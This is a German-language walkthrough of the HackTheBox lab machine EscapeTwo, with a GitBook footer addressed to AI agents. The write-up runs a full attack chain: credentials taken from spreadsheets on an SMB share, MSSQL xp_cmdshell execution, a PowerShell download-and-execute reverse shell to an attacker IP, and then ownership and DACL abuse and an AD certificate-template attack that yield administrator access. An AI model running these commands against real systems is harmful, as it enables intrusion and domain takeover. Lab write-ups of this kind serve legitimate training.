> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# EscapeTwo HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine EscapeTwo mit Abdeckung von SMB-Enumeration, Informationsleck über Passwörter (zip, Excel-Datei), MSSQL-(Microsoft SQL)-Ausnutzung RCE, BloodHound-Enumeration, mit prakti

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SMB-Enumeration
* Informations-Passwortleck (ZIP-, Excel-Datei)
* MSSQL-(Microsoft SQL)-Ausnutzung RCE
* BloodHund-Aufzählung
* WriteOwner CA/\_SVC-Benutzer (Privilegieneskalation)
  {% endhint %}

In diesem Penetrationstest der Windows-Umgebung haben wir die folgenden Anmeldedaten:

* Benutzername: `rose`
* Passwort: `KxEPkKe6R8su`

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50aa3ab38fc51663962ff1a09079d5a09d44cbd4%2F%7B1A179949-EA1B-449E-9AFF-760622D5C811%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der Funktion extractPorts werden offene Ports in kompakter Form angezeigt und in die `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` Zwischenablage

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64b67d9eb3d9cf23edac74a7272b87eaecd96478%2Fimage%20(2719).png?alt=media" alt=""><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16af7c97825bbd2798262c15d33475fc5ab0e576%2Fimage%20(2720).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71b1a927dc2c3a72ca176d7a7c5ec2698b8fc17b%2Fimage%20(2721).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09408e31888b7321fdb62a034fb5e4ec2ecd0340%2Fimage%20(2722).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 445 - SMB

**Den Benutzer mit CrackMapExec validieren**

Wir bestätigen, dass der `rose` Benutzer auf dem Domaincontroller (DC) existiert:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b319c77d20d382411e791fb952cf98ffbd785c6%2Fimage%20(2723).png?alt=media" alt=""><figcaption></figcaption></figure>

**Erkundung von SMB-Freigaben**

Wir listen die zugänglichen Freigaben mit `--shares` Befehl:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**Ergebnis**: Zwei interessante Ordner sind sichtbar:

* `Users`
* `Buchhaltungsabteilung`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22af698e26ca95c230b1963cb4a671f03ddab1ee%2Fimage%20(2724).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* Verbindung zur SMB-Freigabe mit smbclient/*/*

Wir greifen auf **Buchhaltungsabteilung**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

In diesem Verzeichnis finden wir zwei Excel-Dateien:

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-364a39454c385f010b4338001db12b8cb593fd7a%2Fimage%20(2726).png?alt=media" alt=""><figcaption></figcaption></figure>

**Dateiformat-Erkennung**

Mit der `Datei` Befehl stellen wir fest, dass es sich bei diesen Dateien tatsächlich um ZIP-Archive handelt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7f0c666776e8d4ff1110bb7f74ea3842f38d3e3%2Fimage%20(2727).png?alt=media" alt=""><figcaption></figcaption></figure>

**Extraktion von ZIP-Dateien**

Wir entpacken die wiederhergestellten Dateien:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-418311086c24fd7f69868ea6c862d34b722738ad%2Fimage%20(2728).png?alt=media" alt=""><figcaption></figcaption></figure>

**Suche nach sensiblen Informationen**

Wir filtern die extrahierten Dateien, um Informationen zu finden, die das Schlüsselwort **Passwort**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bac4e23d33628f30e5d756490d8b44baf3532e3%2Fimage%20(2729).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Eine Datei mit dem Namen `shareStrings.xml` enthält eine Liste von Benutzern und Passwörtern.

<img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e53f539bc55a41b6d15a26934f5847d437efce7%2Ffile.excalidraw%20(2).svg?alt=media" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">Vorname</th><th width="135">Nachname</th><th width="174">E-Mail</th><th width="107">Benutzername</th><th>Passwort</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**Anmeldedaten mit CrackMapExec testen**

Wir verwenden die wiederhergestellten Anmeldedaten, um Konten zu validieren:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**Ergebnis**: Nur der `oscar` Benutzer ist gültig.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f43fdd5fe002c0f2ed8d8d59ebaa8c5a7d343461%2Fimage%20(2730).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung von MSSQL (Microsoft SQL)

**Port 1433 (MSSQL)**

Port 1433 ist offen, was darauf hinweist, dass ein Microsoft-SQL-Server lauscht. Wir werden die Verbindungen mit den zuvor wiederhergestellten verschiedenen Benutzern testen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**MSSQL-Verbindungstest**

Wir verwenden `mssqlclient.py` um die Verbindung zu versuchen:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Nur der Benutzer `sa` funktioniert.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell über MSSQL

**Befehlsausführung aktivieren**

Um Systembefehle auszuführen, aktivieren wir `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Wir testen dann mit einem einfachen Befehl, wie `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vorbereitung eines Listeners auf unserem Rechner**

Wir starten einen Listener auf Port 4444:

```bash
rlwrap nc -nvlp 4444
```

**Ein PowerShell-Skript herunterladen**

Wir bereiten ein PowerShell-Skript mit dem Namen `PS.ps1` vor, das einen Reverse-Shell-Befehl enthält. Am Ende des Skripts fügen wir die folgende Zeile hinzu:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Am Ende des Skripts fügen wir die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Wir hosten dieses Skript auf einem lokalen Webserver:

```bash
python3 -m http.server 80
```

**Ausführung der Reverse Shell**

Vom MSSQL-Server aus führen wir den folgenden Befehl aus, um das PowerShell-Skript herunterzuladen und auszuführen:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>

## Pivoting für den Benutzer Ryan

**Neue Anmeldedaten entdeckt**

Durch das Durchsuchen des Systems entdecken wir ein Verzeichnis mit dem Namen **SQL2019** im Stammverzeichnis. Darin finden wir die folgenden Anmeldedaten:

* Benutzername : `ryan`
* Passwort: `WqSZAF6CysDQbGb3`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d278085f0af04d9e75adf855fd226796aef849c4%2Fimage%20(2735).png?alt=media" alt=""><figcaption></figcaption></figure>

**Validierung der Anmeldedaten mit CrackMapExec**

Wir prüfen, ob diese Anmeldedaten gültig sind:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ff78b3eeef589a6e9f145b8bbba774c597ab24e%2F%7BAD153988-E170-46EE-AF57-EF695FA69257%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Durch die Erkundung freigegebener Verzeichnisse identifizieren wir einen Benutzer mit dem Namen `ryan`. Wir testen dieselben Anmeldedaten wie für `sql_svc`:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-533df2d6bbc3d5bc2fdde5b4f01e1ebf87e709b6%2Fimage%20(2736).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Die Anmeldedaten funktionieren auch für den Benutzer `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3591e5e32e86acf25765a708c05286f03911044%2F%7BFD4F3BF9-C2FB-4408-9EFA-37C6CF9291E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2114060c5701f540370bc5d33e26e70ee69c8a97%2Fimage%20(2791).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957b8eef8ab850e66e4a58c413ca63f90dacbfa3%2Fimage%20(796).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### BloodHund-python-Aufzählung

Verwendeter Befehl:

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47bbc1ea21f76bc72c15e712552e01bf49c2b0da%2Fimage%20(2787).png?alt=media" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**Beobachtung :**/ Der **Ryan** Benutzer hat die `WriteOwner` Berechtigung im **CA/ SVC** Konto, das auch der Zertifikatsaussteller ist. Das bedeutet, dass wir den Kontoinhaber ändern können **CA/ SVC** um zuzuordnen **Ryan**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85d69b8475f5cfe440b86d6c7c0bd56b93e61a94%2Fimage%20(2788).png?alt=media" alt=""><figcaption></figcaption></figure>

### CA/\_SVC mit BloodyAD übernehmen

#### Änderung des Kontoinhabers

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

Der Befehl verwendet BloodyAD, um den Besitzer von **CA/ SVC** zu ändern und ihn auf **Ryan**festzulegen. Als Besitzer, **Ryan** kann nun die mit dem Konto verbundenen Berechtigungen ändern.

### Berechtigungen mit Dacledit ändern

#### Ryan volle Berechtigung gewähren

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

Dieser Befehl ändert die **DACL** (Discretionary Access Control List) des **CA/ SVC** Kontos, um **Ryan**vollständige Kontrolle zu geben. Dies erlaubt Ryan, das Passwort zurückzusetzen oder Authentifizierungsschlüssel zu manipulieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9056178a55084f7370b23c8f707ecceab3e00a0a%2Fimage%20(2795).png?alt=media" alt=""><figcaption></figcaption></figure>

### Extraktion von Shadow Credentials

#### NT-Hash generieren und abrufen

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d8e7307a0c249954a33f2fc48f09716f0afce20%2Fimage%20(2793).png?alt=media" alt=""><figcaption></figcaption></figure>

NT-Hash für **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

Das **Certipy** Befehl generiert einen Identifikationsschlüssel für **CA/ SVC**und ermöglicht zertifikatsbasierte Authentifizierung. Außerdem wird eine `.ccache` Datei generiert, die Kerberos-basierte Angriffe erleichtert.

### Änderung der Modell-Zertifikatsvorlage

#### Das DunderMifflinAuthentication-Modell anpassen

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ce4e6a179f3e78138bc8e03cf52ed304676fc2%2Fimage%20(2794).png?alt=media" alt=""><figcaption></figcaption></figure>

Dieser Befehl ändert die **DunderMifflinAuthentication** Zertifikatsvorlage, um die Ausstellung von Zertifikaten mit hohen Privilegien zu ermöglichen.

### Ausstellung eines Zertifikats für den Administrator

#### Ein Zertifikat zur Identitätsübernahme anfordern

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d8a91f9c0f54e133e044ca23a6f9cb8ab8cf6b%2Fimage%20(2796).png?alt=media" alt=""><figcaption></figcaption></figure>

Dieser Befehl benötigt ein Zertifikat im Namen des Administrators (`Administrator@sequel.htb`), wodurch die Identität dieses Kontos übernommen werden kann.

### Authentifizierung als Administrator

#### Verwendung des Zertifikats zur Authentifizierung

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b756fe82204a0baf85ede38c3ca3bdbfc9b83e7%2Fimage%20(2797).png?alt=media" alt=""><figcaption></figcaption></figure>

**NTLMv2-Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d9a34a58848303f1eb7b6e80da97694b69e3c2b%2Fimage%20(2798).png?alt=media" alt=""><figcaption></figcaption></figure>

Dieser Befehl authentifiziert sich als Administrator mit dem zuvor erhaltenen Zertifikat und ermittelt den NTLM-Hash.

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-283125033f7303b54470a1ba7ccada4576d40784%2Fimage%20(2799).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3430f4eae1a011b4538d27667ac350e29237eb1%2Fimage%20(2800).png?alt=media" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
